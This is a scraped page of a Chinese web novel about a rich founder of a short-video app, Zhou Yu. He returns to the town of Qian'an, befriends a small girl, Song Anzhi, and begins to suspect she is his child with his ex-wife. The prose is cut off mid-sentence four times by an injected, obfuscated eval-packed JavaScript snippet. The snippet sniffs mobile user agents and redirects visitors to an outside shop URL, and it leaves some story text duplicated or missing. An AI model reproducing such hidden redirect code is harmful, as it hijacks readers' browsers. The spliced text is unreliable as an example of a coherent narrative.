《小小的城[带球跑]》 1. 第 1 章 黔安是座小小的城。周屿再次回到这里,发现似乎什么都没有变。 盛夏阳光正烈,气温却友好地保持在宜人的二十来度。明媚的午后并没有让老旧矮楼看起来更鲜亮,倒是让这里变成一幅颇有反差感的油画。 周屿站在街边抽烟,盯着对面那棵大树。 大树枝繁叶茂,筛出细碎的阳光落在地上,宛如繁星倒影。他看着点点亮光,想起七年前的某天,自己和宋禧在那棵树下吃冰棍儿。 一块五一根的老冰棍儿,香精味特浓,宋禧很喜欢,说冰冰凉甜滋滋。他叹息,心里想:穷人真可怜,没吃过好东西,这玩意儿都能算好吃? 周屿是吃好东西长大的,打小养尊处优,当了二十二年少爷,跑来黔安当平民。宋禧不知道身边这位是少爷,当他要请她吃哈根达斯时,她拍拍他的肩,眨眨眼,说,周屿,改改你挥霍无度的习惯吧,现在开始攒钱,没准以后能买个大房子,到时候我也跟着沾点光。 周屿又叹一口气,没再说什么。如果买哈根达斯就算挥霍无度,那他以前的生活,简直堪称罪无可恕。 转眼之间,周屿都二十九了。七年后的今天,那棵树下没有宋禧,没有他,只有一片繁星般的碎光铺在地上,如同七年前那样。 周屿随便找了家粉店吃午餐。黔安这种地方,吃粉属实难踩雷。他最爱羊肉粉,其次是牛肉粉,其他粉面都得排在这两样后头。 老板娘听他是外地口音,热情推荐起家乡美食。当初在黔安待了两年,宋禧带他把黔菜吃了个遍,老板娘推荐的他都吃过,有些喜欢,有些无感,但他只是默默听完,微笑点头,淡声说了句“谢谢”。 周屿进店时几张桌子还空着,吃完一碗大碗加肉羊肉粉,店里已经坐满。 “楼上有间麻将馆,主要是附近邻居来打麻将,打饿了直接下来吃碗粉,吃完回去接着打。”老板娘冲他笑笑,转身招呼熟客去。 走出粉店,周屿抬头望向楼上,二楼开着窗,里面传来洗牌声,夹杂些说着方言的人声。 黔州话多数和普通话区别只在调子,周屿听得懂,上把有人自摸清一色,有人连连叹气,还有人输不起,吵吵嚷嚷又开始下一轮。 周屿收回目光,发现身边多了个小姑娘,正蹲在地上捡石子儿。 他灭掉烟头,看着小姑娘圆圆的脑袋,想提醒她石子儿脏,又想起自己小时候,什么脏就喜欢玩什么,下雨天非要跑园子里踩泥,回来一身脏兮兮,挨完骂嘴上说着再也不啦,心里想着下次非得去泥里滚一滚,那才带劲。 小姑娘把绿化树下的石子儿装进透明塑料袋里,边数边往外拿,清点完数目,又放回袋子里,心满意足:“十八颗宝石,发财啦!” 周屿没忍住,噗嗤乐出声。 小姑娘扬起脑袋。周屿看见了她的脸。 周屿从来不喜欢小孩儿,嫌他们吵,闹,烦。 然而这个孩子不一样。看着这么一张白里透粉的可爱面庞,周屿觉得,无论这孩子做错什么,自己都很难不原谅。 “怎么一个人在这玩儿?”周屿问。 小姑娘继续往袋子里装石子儿,用带点黔州口音的普通话回答:“没人陪我玩呗。” “爸爸妈妈呢?”周屿又问。 小姑娘不说话,过了会儿仰起脸来,看着他:“没有爸爸。” 周屿面色凝重,心里生出怜悯。漂亮姑娘小小年纪死了爹,成长环境何其凶险。 “你妈妈呢?” “去京州打工啦!” “京州啊,”周屿笑了,“我刚从那地儿过来。” “你去京州干嘛呀?”小姑娘也笑起来。 这一笑,更甜了。周屿看着她,像是吃了口清爽的蜜瓜。 “看我爸。” “你爸爸也在京州打工吗?” 周屿又是噗嗤一声笑,点点头:“他以前一直在那儿打工,早就退休了。” 小姑娘目光好奇:“你在哪里打工呢?” “我在深城打工。” 作为大众眼中万恶的资本家,周屿说这话时,心里有那么点愧疚,可总不能直接告诉她——“我不打工,倒是有一堆人给我打工”吧? 话又说回来,他这个资本家为了养活给他打工的人,不也得承担着巨大压力而工作?归根结底,他也还是在打工。 这个理由并没有减轻周屿心里那点愧疚。 上回这种愧疚升起的时候,是在遥远的七年前。 那会儿他跟宋禧刚结婚。宋禧日子过得紧巴巴,为了不暴露身世,他也只能消费降级,跟着过起了穷日子。有时改善一下生活,多花点钱,看着宋禧蹙眉记账,听着她嘴上碎碎叨叨数落,想起自己银行卡里八位数存款以及名下的房产和跑车,愧疚感就是这么来的。 小姑娘站起来,拎着一袋子沉甸甸的“宝藏”,拍拍粉色裙子上的灰,问他:“深城是哪里?好玩吗?” “怎么说呢,就——还行吧。”这可把周屿给问住了。 孩子的世界很简单,只关注好不好玩;大人的世界也很简单,忙忙碌碌,很久都没有好好玩过了。 “妈妈不在,平时谁照顾你?”周屿问。 “外婆带我。” “你外婆呢?” 小姑娘转身指着羊肉粉店楼上:“在里面打麻将!” “快回去吧,”周屿往楼上望,“不然外婆该担心了。” 小姑娘摇摇头:“不会的,她知道我在下面。” “你一个人跑出来,外婆能放心啊?” “嗯,外婆都不怎么管我。” 周屿看着这个小小的留守儿童,沉默片刻,问她:“是不是很想妈妈?” 小姑娘点点头,又摇头,嘴边笑出两个梨涡。 “也不是很想啦,平时我在京州跟着妈妈,幼儿园放假才回老家。妈妈不准我玩很久手机和平板,外婆可不管,我想玩多久就玩多久。” 老人带孩子真不行,周屿想。小时候,家里四位老人还在世时,也都喜欢惯着他,他在外想怎么野怎么野,在家电视随便看,游戏随便玩,父母管得严,他厌烦得不行,只跟老人亲。现在想想,父母也有父母的苦心和难处。 程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443981|201067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扬过来时,周屿正跟孩子聊得起劲。程扬下车叫了声周总,周屿看他一眼,下巴冲孩子一扬,介绍起来:“新交的朋友,小朋友。” 程扬笑了:“你俩这是忘年交啊。” 程扬是周屿的司机兼保镖,与别的员工不同,他跟周屿交情更深,算得上是朋友,闲聊时没那么拘谨。 小姑娘不懂,问周屿:“什么是忘年交?” 周屿:“你多大?” 小姑娘:“四岁半啦,妈妈说快过年的时候我就满五岁了。” 周屿:“我二十九。咱们现在算朋友吗?” 小姑娘想了想,面露遗憾:“叔叔,虽然我很喜欢你,但妈妈说过,不能随便跟陌生人交朋友,尤其是陌生叔叔……” 周屿哭笑不得,点点头:“行吧,有防备心是好事儿。” 程扬看一眼表,提醒道:“您跟吴总约了下午三点见面,咱们得抓紧时间出发。”他走到车边,替周屿打开后座车门。 周屿正要上车,又回到小姑娘跟前,略微弯腰,用从来不曾有过的温柔语气哄道:“我送你上去找外婆吧,一个人在这儿不安全。” 小姑娘扭扭身子,摇头:“不要,上去没意思,大人都在打麻将。我喜欢在这里捡宝藏。” 周屿不放心:“听话,路边太危险,万一遇到人贩子怎么办?” “不要,你是陌生叔叔,我不能听你的话,也不能跟你走,万一你是人贩子怎么办?”小姑娘满脸真诚望着他。 周屿彻底没招,指指楼上,告诉程扬:“她姥打麻将呢,不怎么管孩子。” 程扬走过来,笑眯眯看着她:“小朋友,我们给你姥姥打个电话,让她下来接你,好不好?” 孩子仍是摇头:“外婆才懒得管我呢,我现在还不想回去。” 就这么走了,心里不踏实,留下来陪她,又耽误自己正事,周屿思来想去,只得选了个下下策:“要不你上去玩会儿手机?” 听他提起手机,小姑娘立马睁大眼睛:“好呀!我要刷短视频!” 周屿无奈扯唇,多嘴问一句:“平时喜欢在哪刷短视频?” “轻闪!我最喜欢刷轻闪,可有意思了!” 周屿愣在原地,程扬不禁乐出声,忍着笑看向周屿。 两个大人将孩子送到二楼,眼看着她要进屋,周屿忽然开口:“那什么,刷轻闪记得开未成年模式。” 小姑娘咧嘴,冲他俩挥挥手:“知道啦,谢谢叔叔,叔叔再见!” 下楼时,程扬意味深长看周屿一眼,周屿瞥他:“某种角度上来说,咱公司确实害人不浅,尤其是小孩儿。” 程扬替他拉开车门:“时代发展的必然性,周总不必自责。” 上了后座,周屿感慨:“这孩子挺可怜,小小年纪没了爹,放假被送回来,姥姥也不怎么管。” “可惜了。漂漂亮亮的,透着股机灵劲儿。”程扬扭头,“跟您还挺像。” “像么?”周屿看向车内后视镜。 “真挺像。” 看着后视镜里自己的脸,周屿淡笑:“是挺像。” 2. 第 2 章 周屿这次来黔安,主要是准备新项目。 近两年黔州旅游业被网红带上新高度,越发火热,周屿对黔安比较熟悉,对这个地方也有一定感情,准备在这里投资打造新景区。 不少朋友劝他慎重,毕竟这类似项目花巨款打水漂的前例数不胜数,周屿心意已决,旁人的话只是听听。 下午三点,周屿如约而至,见到了合作方吴总。 吴总与他父亲有些交情,与他虽然不算熟人,但也相识,谈完正事,聊天氛围轻松下来。 吴总年长周屿二十来岁,夸他相貌堂堂年轻有为,他笑着摇头,把成就归功于运气。 “当年我第一次去京州,跟你父亲见面,那时候你哥还小,你也是好小一个,一晃眼,都这么高大了。”吴总慈祥打量着他,神色欣赏,“周大哥这几年还好吧?” “之前都挺好,今年病倒了,最近休养着呢。”周屿说。 吴总一双粗浓眉毛高高扬起,随即紧皱,关切问道:“什么病?严不严重?” 周屿摇头:“中风。说严重,现在也没什么生命危险;说不严重,以后恐怕都得坐轮椅了。” 吴总对他父亲周庆杰很是崇拜敬仰,听闻周庆杰近况,不免唏嘘,沉默好一会儿,抬头看向他:“小周,你跟你父亲现在……和解了?” “嗐,爷俩哪有不吵架闹别扭的,您也有孩子,您说是不是?”周屿打着哈哈,把问题反抛回去。 “那是,那是。”吴总明白他不愿多说,不再打听,只劝道,“这么多年,你父亲其实很不容易。虽然我不知道以前你们父子因为什么闹僵,可我相信,周大哥一定非常爱你,当初他对我说起你时,脸上那种骄傲自豪,让我记忆犹新。” 周屿沉默听着。 “你父亲还说,你跟你哥感情这么好,他很欣慰。多句不该多的嘴,我甚至觉得,你父亲对你的喜爱,胜过你哥——可别误会啊,不是我挑拨你们兄弟之间的感情,就是告诉你我最真实的感受。无论你跟你父亲曾经闹得多难堪,都希望你们能解开心结,重归于好。年轻时周大哥帮过我一次大忙,我一直记着他的恩情,希望他过得幸福顺利。” 周屿轻轻颔首,算作回应。 吴总约他吃晚饭,他心里装着事,不想应酬,找个由头推掉了。吴总没强求,亲自送他下楼。 程扬将车开往周屿入住的酒店,半路听见他问:“你说,当年咱们要是没来黔安,很多事情就不会发生,生活是不是大不一样?” 程扬想了想,没有直接回答,而是问:“您后悔了?”以程扬对老板的了解,任何事在他眼里,过了就算翻篇,翻遍就不多想。但,什么都是会变的,尤其是人。 “也没有。”周屿转脸望着窗外,“就是想知道,如果当初去了别的地方,人生会有哪些可能性。” 怎么偏偏来到黔安?早些年,周屿不信命,后来发生的太多太多事,让他不得不信。 “您要是想放弃这里的项目,现在还来得及。”程扬拿不准老板为什么会有这种感慨,照他的性格,以前很少这样感性。程扬暗自揣测,兴许不是因为项目。 早些年,周屿在黔安有过一段婚姻,程扬是鲜少的知情者之一。 周屿结婚前,程扬再三问他:考虑清楚了吗?他总是沉默一小会儿,然后说:考虑什么啊,都这样了,走一步算一步,总得先活下来。 那年周屿二十二,年纪轻轻,抑郁阴沉。当时在黔安,程扬对外的身份是他表哥,陪他来这座平静安宁气温宜人的小城调养身心。 作为周屿心腹,程扬了解许多连周家人都不了解的真相,比如,周屿的抑郁其实不像表现出来的那样严重。但朝夕相处间,程扬知道,他每一天,每分每秒,都不开心。 在黔安结婚后,周屿脸上的笑倒是多了。程扬问过周屿,是不是真的喜欢上了宋禧,周屿的回答像是顾左右而言他——“这姑娘多好笑啊,跟她待一块儿可不缺乐子。” 周屿这话没有半点嘲讽的意思。婚后他确实过过一段开心日子。在他眼里,宋禧的好笑不是带有贬低意味的滑稽,是一种在他过往生活中,很难见到的幽默。她没见过世面的样子纯真又可爱;她不管是刻意搞笑还是无意中闹笑话,都透着专属于她的明媚与烂漫。 总的来说,周屿从没见过这么有生命力的人——穷巴巴的日子也不会过得苦哈哈,吃着简单饭,用着便宜货,生活处处是惊喜: 洗衣服时,站在哐哐作响的洗衣机前感慨:“好神奇啊,这个东西居然能把衣服、床单洗得这么干净,还能把水甩干,感谢高科技!”; 吃饭时,对着豁了口的小瓷碟里的腐乳感慨:“好神奇啊,霉豆腐怎么这么便宜好吃又下饭?感恩第一个发明霉豆腐的祖宗!”; 起床戴眼镜之前,少不了对五百多度的镜片表达感谢——“好神奇啊,这么两片厚厚的小东西,竟然能让我看清这个世界!发明眼镜的人真是太伟大了!”…… 诸如此类的场景数不胜数。起初周屿以为她这是信了什么教,毕竟像这样喜欢狂热表达感谢的人实在是不多,周屿还是头一回见。 有天周屿实在好奇,问她:“你到底是哪个教派的啊?” 她答:“自立门派,感恩派!” 周屿笑得好大声,说:“其实这跟吸引力法则挺像的。” 宋禧没听过这个,问:“什么是吸引力法则?” 周屿:“不用知道,我觉着纯属扯淡。” 宋禧:“意思是好心态吸引来好事,坏心态吸引来坏事?” 周屿:“差不多吧。” 宋禧:“这怎么能是扯淡呢?明明很有道理啊,简直就是真理!” 周屿不忍心打击她。她心态都这么好了,怎么还是这么穷? 程扬提醒过他,其实宋禧过的就是普通人的生活,比较拮据而已,离真正的穷苦阶级还远得很。他之所以觉得宋禧穷,是因为以前过得太奢侈,也接触不到普通人群,不了解寻常百姓过的什么日子。 程扬的话并没有说服周屿。他还是觉得宋禧太穷,穷得可怜。他不管普通人过的是什么日子,他想让宋禧过上好日子。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443982|201067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但是,用从他爹那得来的资产肯定不行。 后来他靠自己赚了几辈子挥霍不完的钱,足以让任何女人过上好日子,可偏偏那个叫宋禧的女人,再也回不来了。 而他,对宋禧之外的任何女人,都无法提起半点兴趣。 车窗外,街景不断倒退,周屿的思绪跟随着飘回从前。 二零一七年,八月下旬某一天,宋禧对他说:“虽然你不相信吸引力法则,不属于感恩派成员,但还是不知不觉被我感染了诶!” 他刚睡醒,一脸懵:“啊?” 宋禧笑得眉眼弯弯:“昨晚你说梦话啦!” 周屿:“说的什么?” 宋禧:“你说——‘好神奇啊,咱们竟然结婚了。’恭喜你,加入了神奇派!” · 回酒店途中,车经过麻将馆那条街,周屿不自觉看向路边,平展的眉头忽地紧皱。 他让程扬停车。 穿粉白格裙子的小姑娘又出现在原地,不同的是,此时这张漂亮可爱的面庞上没有笑容,而是挂满了泪。 几个看着大些的男孩将她围住,一人扯一把她的马尾辫,她气得跺脚,用力推开一个,另一个又过来欺负她。 周屿看得冒火,车还没停稳便降下车窗向外呵斥。男孩们看向这边,霸凌的举动却没停,周屿下车快步走来,脸沉得骇人,三两句轰走那些坏小孩。 小姑娘还在哭,抱住他的腿,抽抽搭搭说了句“谢谢叔叔”。 周屿蹲下来,摸摸她的小辫子,问:“扯得疼不疼?” “疼……他们真坏!把我头皮扯疼了,还把我发型都弄乱了!发型对女孩子来说可是很重要的!”小姑娘那双葡萄般的大眼睛望着他,眼里蓄满泪水。 周屿看着这副可怜小模样,心疼不已,却又被她这话逗笑。 他抬起手,用手背轻轻给孩子拭泪。 “不是在楼上看手机么,怎么又下来了?” “妈妈跟外婆连视频,说我今天手机看太久了,明天才能看。” “所以你外婆又不管你了,让你自己下来玩儿?” “嗯……” 周屿深深呼吸。他一贯是不爱管闲事的,今天不知怎么,偏就心疼这个孩子,偏就看不惯老人家这样,抱起孩子往楼上走。 程扬追过来:“周总,把孩子送门口就行了吧。” 周屿沉着脸:“我得跟她姥好好说说。” 程扬认为这样不太妥:“毕竟是别人家的孩子,您——” “孩子妈挺在乎她的,这孩子真要出什么事儿,最伤心的还不是她妈妈?” “您是好心,可老人家未必愿意听。” “那也得说,不说我心里不痛快。” 小姑娘在周屿怀里,睁大眼睛看着他:“叔叔,你要去教训我外婆吗?” 周屿上一秒还气着,这一秒又笑了:“放心,我会跟你外婆好好说。” 他停在麻将馆门口,推开门。 里面的吵嚷声逐渐停下,一群麻坛圣手们纷纷望向门口。 5. 第 5 章 七月七日,周屿没有食言。他是个极其守时的人,不会迟到,也不到早到,但这一天,他比约定时间提前了十五分钟到达麻将馆楼下,手里拎着个大袋子,袋子里装了零食和玩具。 十点整,周屿左顾右盼,没在附近看见小姑娘的踪影。十点十分,路人和车辆匆匆而过,街边只有周屿驻足。 又过了五分钟,周屿转身走进楼道,上楼才发现麻将馆压根没开门。 他回到楼下,问羊肉粉店老板娘知不知道为什么今天麻将馆没开,老板娘告诉他,昨天麻将馆老板吃了碗路过摊贩的虾子米豆腐,估计食材有问题,食物中毒了,上吐下泻,当晚就去了医院,现在好没好还不清楚。 周屿心里感慨天不遂人愿,又问:“那个经常一个人在下面玩儿的小姑娘您认识么?” 老板娘:“你说安之啊?她是麻将馆老板的外孙女,怎么了?” 周屿描述一番小姑娘的个头和外貌,确定就是老板娘口中的安之,便将袋子交给老板娘,麻烦她转交给小姑娘。 “买这么多东西哦,你是她什么人?”老板娘好奇问道。 周屿不知该如何作答,挥挥手往外走:“麻烦您了。” 车在外头等他。他拉开后座车门,正要往里进,身后传来喊声—— “叔叔!” 周屿回头就看见那个小小的身影朝他飞奔而来。 · 宋安之为了赴这场约,可是费了好些力气。 昨晚外婆住进医院,她被大姨婆接走,虽然有大姨婆陪着,可她心里还是不踏实,害怕外婆出事。 夜里,大颗大颗眼泪从她眼里滑落。她抱住大姨婆,颤着声问:“外婆会不会死呀?” 大姨婆笑了,屈指轻轻刮一下她高挺如洋娃娃的鼻梁,说:“怎么可能?你外婆可厉害着呢。小时候发高烧,差点没命,还好挺过来了;后来生你妈妈,差点没命,也挺过来了。你就放心睡吧,明天外婆就好了。明天要是好不了,后天肯定好。” 大姨公送来一杯热牛奶,她咕咚咕咚喝完,漱了口,躺在床上,大姨婆揉揉她的小肚子,哄道:“喝饱了好睡觉,什么也别担心,什么都会好。” 宋安之这才乖乖睡去。 第二天早上,宋安之又不乖了。 倒也不能怪她,谁叫大姨婆不愿意送她去见那个叔叔呢? 大姨婆断定那人是坏蛋,想把她拐跑,怎么也不答应她的祈求。 她急得哇哇哭:“我都跟叔叔说好了,要是不去,不就是不讲信用吗?妈妈说做人要讲信用,她最讨厌不讲信用的人!” 大姨婆还是不肯答应:“讲信用的前提是,你得确定对方是个好人呀,谁知道他是不是好人?万一他是坏蛋怎么办?你要是出事,我怎么跟你妈妈和外婆交代呀?” 宋安之抓住大姨婆的手:“你一直牵着我不就行啦?” 大姨婆深深叹气:“安之听话,别去了。我带着你去,他不敢对你做什么,但他已经盯上了你,我们要是放下戒备,以后他肯定还会想办法接近你。你那么相信他,很容易出事的……” “不会不会!我就要去!就去就去!呜呜呜求求你……你就带我去吧!只要见到那个叔叔,跟他说句话就行了……” 宋安之开始使出杀手锏——倒地耍赖。 这招她已经很久没用过了。妈妈说,她是四岁的宝宝,不能再这么幼稚,这是一两岁的宝宝才干的事。 可她实在想见那个叔叔,所以丢脸就丢脸吧,兴许大姨婆吃这套呢? 不过可惜的事,她的大姨婆是位原则性极强的退休教师,退休前就说一不二,退休后也不易妥协,总的来说,这种招数对大姨婆没用。 大姨婆抱着胳膊微微弯腰,面带微笑告诉她:“哭一哭也好,安之还是小朋友,需要发泄一下。等情绪发泄完了,我带你出去玩。” “不要出去玩!我就要见叔叔!”宋安之平躺在地,手脚胡乱划动,正闹着,二姨婆来了。 昨晚,宋安之的二姨婆在医院守了她外婆一夜,早上舅婆过来换班,二姨婆回来路上去集市买了好些新鲜排骨,经过这里,顺便给大姨婆送一部分排骨上来。 “哦哟,小安之怎么在地上游泳哦?”二姨婆进门看见这幅场景,忍不住笑起来。 自己的耍赖行为被描述成游泳,宋安之一骨碌翻身,背对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443985|201067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着两位姨婆偷笑。 大姨婆把情况简单讲一遍,二姨婆听完摆摆手:“好大点事嘛。我带她去,反正回家也要经过那边。” 怕大姨婆不肯,二姨婆又赶紧开口:“老三说了,有个男的看不惯她不好好带娃儿,跑去麻将馆说她一顿,结果认错人了!人家虽然搞错了,但心是好心,肯定不是坏人。” 说完,二姨婆看向宋安之:“你外婆说的那个叔叔,是不是跟你约好今天见面的叔叔?” 宋安之机灵,看二姨婆这态度,心知她是偏向自己的,立马起身,拍拍屁股重重点头:“就是那个叔叔!他真的好好哦,你们看到他就晓得咯。” 二姨婆轻捏小脸蛋:“走,二姨婆去会会他。他要是个好人,二姨婆对他好声好气;要是个坏人,二姨婆拿他吊起打!” 二姨婆性子泼辣,能吵会打,受不得半点气,年轻不如大姐讲理,老了不如大姐稳重,压根不把这当多大个事,牵着宋安之就往外走。 大姨婆没招,心想有妹妹这个泼妇跟着,那男人应该也不敢怎么着,便也由她们去了。 一路上,宋安之蹦蹦跳跳,雀跃得像出笼的小鸟。“二姨婆,你知道吗?那个叔叔好帅的!”她仰起脸蛋,认真地说。 二姨婆大笑:“真的啊?有好帅嘛?” 宋安之:“好帅好帅!还高!” 二姨婆:“有好高嘛?” 宋安之:“好高好高!那——么高,比小岩舅舅还高!” 小岩舅舅是他们家最高的人,也最帅,大人们口中的一米八帅小伙。 尽管小岩舅舅是宋安之的亲人,也非常疼爱她,可她还是不能因为血缘关系而自欺欺人。那个叔叔不仅比小岩舅舅高,还比他帅,帅好多好多…… “叔叔!”宋安之撒开二姨婆的手,朝正要上车的男人跑去。 “安之!安之!”二姨婆赶忙去追,一边担心孩子,一边打定主意好好瞧瞧,这个被孩子当成绝世美男的人到底对不对得起她这番夸赞。 孩子被什么东西绊了一下,差点摔倒,所幸被男人稳稳接住,二姨婆松口气,加快脚步走近,正要道谢,看清男人长相后,却是猛地一愣。 6. 第 6 章 如果要周屿坦然面对内心,问问他对黔安这座城市的感情,他会陷入茫然。这是一座难以让他直接评价好或坏,喜欢或讨厌的城市。他人生中最幸福和最痛苦的回忆,都由这里承载,所以他离开这里长达五年。 他在这有过的体验,好的坏的都跟宋禧有关。那些深埋在心底的记忆里,两个人的关系好能好到如胶似漆,坏能坏到玉石俱焚,但客观来说,宋禧家里人,几乎都对他不错。比如宋禧大姨、二姨和舅舅,在他假装一穷二白的时候,没给过他脸色看。唯一瞧不上他的人,是宋禧母亲。不过后来他做小生意赚了些钱,宋禧母亲又能拿正眼瞧他了。 曾经周屿和宋禧二姨相处客气,如今意外碰见,短暂的震惊过后,两个人默契地延续了这种客气。 周屿记得,宋禧二姨叫宋永红。宋永红一把抓住孩子胳膊,将她从周屿怀里拽出来,脸上挤出个并不真正欢喜的笑,客客气气对他说了句“不好意思”。 周屿看着她,说了声“您好”。 宋永红紧紧拉住孩子,轻描淡写似的问:“小周,来玩啊?” “来出差。”周屿如实说。 “哦,这几年忙得很吧?”宋永红不关注财经新闻,她丈夫倒是常看,轻闪APP刚火那阵,丈夫就跟她说过,周屿出息了,那时候她叹一口气,心想出息了就出息了呗,跟宋禧离都离了,再出息又能让宋家沾上什么光?就算不离,闹得那么难看,肯定过不长久。 “是挺忙。您还好吧?瞧着身体很健朗。”周屿继续客套,努力不让自己把目光移向小孩。 “是,是,我身体好,三天两头爬山,大气不喘!”宋永红自豪起来,笑得一如既往豪爽。 宋安之听着大人们聊这几句,插嘴问:“二姨婆,你和叔叔认识啊?” “诶,认识,认识……”宋永红点点头,无意识重复着,避开孩子视线,抬脸就撞上周屿带着困惑的目光,轻抽一口气,往后捋了捋烫成泡面般的卷发,漫无目的四处张望。 “你们怎么认识的?”孩子更是好奇,紧追着问。 “哎呀,认识就是认识,跟你小娃娃讲不清那么多。现在看到叔叔了,开心了吧?”宋永红含糊糊弄过去。 宋安之用力点头,冲周屿咧嘴,唇边两个梨涡让周屿有种似曾相识的感觉。 周屿正要开口,羊肉粉店老板娘忽然出来,手里拎着之前他给的大袋子。 “安之,你总算来了。看看叔叔给你买了什么?”老板娘将袋子交给宋永红,下巴冲周屿扬了扬,“小伙子特意给娃娃买的。人家刚才等了好久,等不到安之,托我把东西给娃娃。” “哇……饼干!巧克力!还有芭比娃娃!”宋安之扒开塑料袋,两眼放光。每一样都是她的心头爱,她仰脸看周屿,大眼睛笑成弯弯一条缝,“叔叔,你也太好了吧!谢谢叔叔!” 宋永红知道孩子喜欢,却没收,把袋子递给周屿:“这些东西不便宜,小周,你拿回去。安之什么都有,她妈妈——我们家里给她买了很多。” 宋安之急忙反驳:“才没有!妈妈很少给我买零食,说吃零食不健康!” 宋永红轻声呵斥:“那你还要吃!” 宋安之叉起腰,仰起头,嘴噘得老高,满脸不服气:“外婆和晓辉舅舅都随便我吃!” “他们是懒得管你,而且他们随便你吃,就回去吃家里的,不要拿外头的。”宋永红板着脸冲孩子凶完,抬头对周屿笑笑,“小周,这些我们不能要。你破费了,谢谢你。”她把袋子放地上,拽拽孩子,“安之听话,二姨婆带你逛超市,今天想买什么都给你买。” 周屿看得出来,宋永红是真的很想走,也感受得到她在逃避。至于到底逃避什么,周屿不确定,于是他问:“小丫头是向晴姐的孩子?” “嗯?”宋永红愣了愣,随即点头,连着说了好几个“是”。 周屿以前就知道宋禧这个二姨泼辣,性子豪爽,今天这么扭捏,肯定不对劲。 宋禧大表姐叫向晴,是她大姨的独生女,高材生,常年定居国外。这个叫安之的小丫头要真是向晴的女儿,怎么会说自己妈妈在京州打工,干的还是卖家具的活? 宋禧二表姐苏珍珍是二姨的女儿,如果安之是苏珍珍的孩子,怎么会喊她二姨叫姨婆,难道不该叫外婆? 宋禧表弟叫宋岩,是舅舅家独子,如果安之是宋岩的孩子,也不应该喊宋永红姨婆,该喊姑婆才是。 周屿脸上没什么表情,淡淡看着宋永红,眼神冷下来。 “那个……小周啊,我还有点事,先走了啊。”宋永红抱起孩子,转身快步往反方向走。 宋安之在她怀里发懵,等她走出一段距离才反应过来,伤心得撇嘴就哭。 “我要叔叔给我买的东西!那是叔叔专门买给我的!呜呜呜二姨婆坏!二姨婆真坏!” “你以为我想当这个坏人啊,还不是为了你妈!”宋永红走到街头,拐弯继续向前,最后进了一家小超市,放下孩子,长吁一口气,下意识扭头往外看,“妈耶,是帅,咋个(怎么)越来越帅了?” “乖乖,自己选,要哪样拿哪样,二姨婆给你买。”她指了指货架,笑眯眯哄孩子。 宋安之明白,自己跟叔叔买的那一大袋子东西彻底无缘,怎么耍赖都不顶用,于是见好就收,抬手擦擦眼泪,拿了袋旺仔小馒头,牵起二姨婆的手去结账。 “只要这个啊?”宋永红指着津威酸奶,“这个要不要?我记得安之好喜欢喝津威。” 宋安之摇头:“津威家里还有。其他不要了,妈妈说谁的钱都不是大风刮来的,不能乱花别人的钱。” “哦哟,我家乖乖好懂事,好讨人喜欢哦!”宋永红揉揉孩子脸蛋,又给她拿了几包QQ糖和小小酥。 走出超市,宋永红趁机教育孩子:“你也晓得谁的钱都不是大风刮来的,叔叔给你买那么多东西,肯定花了很多钱,所以我们不能要。” 宋安之眨眨眼,不明白:“可是如果我不要,那些东西不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443986|201067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就浪费了吗?” 宋永红:“他可以自己吃自己玩啊。” 宋安之:“他都是大人了,还喜欢吃零食玩玩具吗?” “你珍珍小姨和晓辉舅舅也很爱吃零食啊,乱七八糟的小玩意也没少买,唉,有些人,一辈子都长不大。”提起自家那对好吃懒做的废柴儿女,宋永红就来气。 “叔叔是不是也没长大?” “叔叔早就长大咯,比他们成熟得多。我要是有叔叔这种儿子就好咯!” “你和叔叔怎么认识的?” “以前认识的,小娃娃别问那么多。” “所以你们是忘年交?” “噗——”宋永红笑出声,“你还晓得忘年交?” 宋安之撕开小馒头包装袋,拿出一粒放嘴里,嚼吧嚼吧,告诉她:“那天另一个叔叔说我和叔叔是忘年交,我问叔叔什么是忘年交,他没跟我讲清楚。我跟妈妈视频,问妈妈,妈妈说如果两个人年纪相差比较大,还成了朋友,就叫忘年交。” “是这样。” “叔叔还知道晴晴大姨,他和晴晴大姨是不是忘年交?” “也是也是。”宋永红憋着笑。 